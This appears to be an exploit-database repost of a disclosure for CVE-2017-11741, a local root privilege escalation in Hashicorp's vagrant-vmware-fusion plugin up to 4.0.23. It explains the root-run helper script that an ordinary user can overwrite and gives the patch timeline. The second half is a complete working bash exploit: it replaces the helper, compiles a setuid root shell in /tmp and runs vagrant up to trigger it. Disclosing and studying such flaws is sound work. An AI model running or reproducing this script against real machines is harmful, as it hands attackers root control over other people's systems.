Hashicorp vagrant-vmware-fusion 4.0.23 Local Root Privilege Escalation

2017.08.03
Credit: Mark Wadham
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

CVE-2017-11741 Local root privesc in Hashicorp vagrant-vmware-fusion <= 4.0.23 2 Aug 2017 06:49 A couple of weeks ago I disclosed a local root privesc in Hashicorp's vagrant-vmware-fusion plugin: https://m4.rkw.io/blog/cve20177642-local-root-privesc-in-hashicorp-vagrantvmwarefusion--4020.html The initial patch they released was 4.0.21 which unfortunately contained a bug that prevented it from working at all on mac systems so I was unable to test it. I then had to give my mac to Apple for a couple of weeks for some repairs so only got around to testing 4.0.22 at the end of last week. Unfortunately, 4.0.22 is still exploitable and the subsequent release of 4.0.23 did not fix the issue. Hashicorp reacted much faster this time, taking only a few days to issue a patch instead of a few months and 4.0.24 does fix the issue. As discussed before the plugin installs a "sudo helper" encrypted ruby script and four architecture-specific wrappers into ~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.22/bin vagrant_vmware_desktop_sudo_helper vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386 vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_wrapper_linux_386 vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64 The wrapper that matches the system architecture will be made suid root the first time any vagrant box is up'd. When a vagrant box is started the wrapper script elevates privileges and then executes the ruby sudo helper script. Previously I exploited the unsanitised system("ruby") call to simply invoke the wrapper directly and execute an arbitrary fake "ruby" script in the current PATH. This is now mitigated with 4.0.22 because the wrapper refuses to execute if it's not being called by vagrant. Unfortunately it's still possible to exploit it because the wrapper executes the sudo helper as root, and the sudo helper is not root-owned so we can overwrite it with any arbitrary ruby code which will then get executed as root when vagrant up is run. The issue was reported to Hashicorp on 27/07/17 and fixed on 01/08/17. This exploit requires a vmware_fusion box to be present on the system in order to work. If you don't have one it may take a few minutes to download one. Like last time it targets darwin 64bit but it's likely the other architectures are vulnerable too. https://m4.rkw.io/vagrant_vmware_privesc_4.0.23.sh.txt 81c2637cd1f4064c077aabc6fa7a3451ae3f2bd99c67f25c966728f88a89d5a1 -------------------------------------------------------------------------- #!/bin/bash echo echo "****************************************************************" echo "* Wooo vmware_fusion plugin 4.0.22-4.0.23 is still exploitable *" echo "* m4rkw *" echo "****************************************************************" echo echo "Shouts to #coolkids" echo vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1` target="/tmp/vagrant_vmware_privesc_4.0.23" if [ "$vuln_bin" == "" ] ; then echo "Vulnerable binary not found." exit 1 fi if [ -e "$target" ] ; then echo "Exploit payload already present." $target exit fi box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1` if [ "$box" == "" ] ; then echo "No vmware_fusion boxes found locally, we will have to download one." echo echo "This will take a few minutes." echo box="bento/ubuntu-16.04" fi dir=`dirname "$vuln_bin"` cd "$dir" if [ ! -e "vagrant_vmware_desktop_sudo_helper.bak" ] ; then mv vagrant_vmware_desktop_sudo_helper vagrant_vmware_desktop_sudo_helper.bak fi cat > $target.c <<EOF #include <unistd.h> int main() { setuid(0); seteuid(0); execl("/bin/bash","bash","-c","/bin/bash;rm -f $target",NULL); return 0; } EOF gcc -o $target $target.c rm -f $target.c cat > vagrant_vmware_desktop_sudo_helper <<EOF #!/usr/bin/env ruby \`chown root:wheel $target\` \`chmod 4755 $target\` EOF chmod 755 vagrant_vmware_desktop_sudo_helper cat > vagrantfile <<EOF Vagrant.configure('2') do |config| config.vm.box = '$box' end EOF vagrant up 2>/dev/null & while : do r=`ls -la $target |grep -- '-rwsr-xr-x 1 root wheel'` if [ "$r" != "" ] ; then break fi sleep 0.2 done killall -9 vagrant echo echo "Sorry Hashicorp.. still fail :P" echo sleep 1 cd $target --------------------------------------------------------------------------


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